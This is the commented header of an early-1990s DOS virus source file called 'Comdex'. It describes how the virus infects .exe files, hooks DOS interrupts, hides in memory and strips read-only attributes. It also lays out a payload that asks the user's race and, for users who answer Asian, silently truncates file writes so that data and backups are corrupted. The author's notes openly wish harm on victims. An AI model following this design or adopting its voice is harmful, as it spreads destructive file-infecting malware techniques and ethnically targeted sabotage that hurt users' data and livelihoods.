; The Comdex exibit guide program
; For the Fall 1991 Comdex Las Vegas Convention
;
;
; A short description of the program:
;
; It only affects .exe files.
; Comdex attaches itself to the end of the programs it affects.
;
; When an affected file is run, Comdex copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash. If this happens, the user obviously
; deserved it.
;
; Comdex will hook int 21h and when function 4b (exec) is called
; it sometimes will affect the program being run. It will check every
; program that is run for affection, and if it is not already
; affected, it will be.
;
; Comdex will, after 1 hr, one of 16 chance, ask your race or
; nationality prior to executing a file. Af you answer that you
; are asian/pacific rim, one of 256 file writes will have the
; length adjusted downward or the record size reduced, depending
; upon the specific dos call made.
;
;
; Comdex will remove the read-only attribute before trying to
; affect programs.
;
; Affected files can be easily recognized, since they always end in
; "COMD"
;
; To check for system affection, a byte at 0:33c is used - if it
; contains a 069h, Comdex is installed in memory.
;

;
; Comdex is basically divided in the following parts.
;
; 1. the main program - run when an affected program is run.
; it will check if the system is already affected, and if not
; it will install Comdex.
;
; 2. the new int 17 handler. adjusts two ascii output chars.
;
; 3. the new int 14 handler.
;
; 4. the new int 8 handler.
;
; 5. the new int 9 handler.
;
; 6. the new int 21 handler. it will look for exec calls, and
; affect the program being run.
;
;
; this is a fake mcb (memory control block)
; ms-dos inspects the chain of mcbs whenever a memory block allocation,
; modification, or release function is requested, or when a program
; is execed or terminated...

;Int 21 file adjustment routines - the following routines corrupt a small
;percentage of the file writes that Asians do in their use of the pc. For
;example, when one updates a spreadsheet or exits a word processor, the
;application software will re-write the file out to disk. What we do here
;is reduce the amount of the data that is written to the file. The hope
;is that the problem will be hidden for a significant period of time, since
;it happens only infrequently, and since it typically will happen upon exit
;of the application package. If the reduction of the write causes a serious
;problem (we hope it will) it won't usually be noticed until that file is
;loaded again. The other hope is that if the user does backup his data from
;time to time, this corrupted data will end up on the backup as well before
;the problem is noticed. With luck, maybe the user will assume that the
;hardware is intermittent, and backup the system over the top of his only
;existing backup set, then purchase replacement hardware.
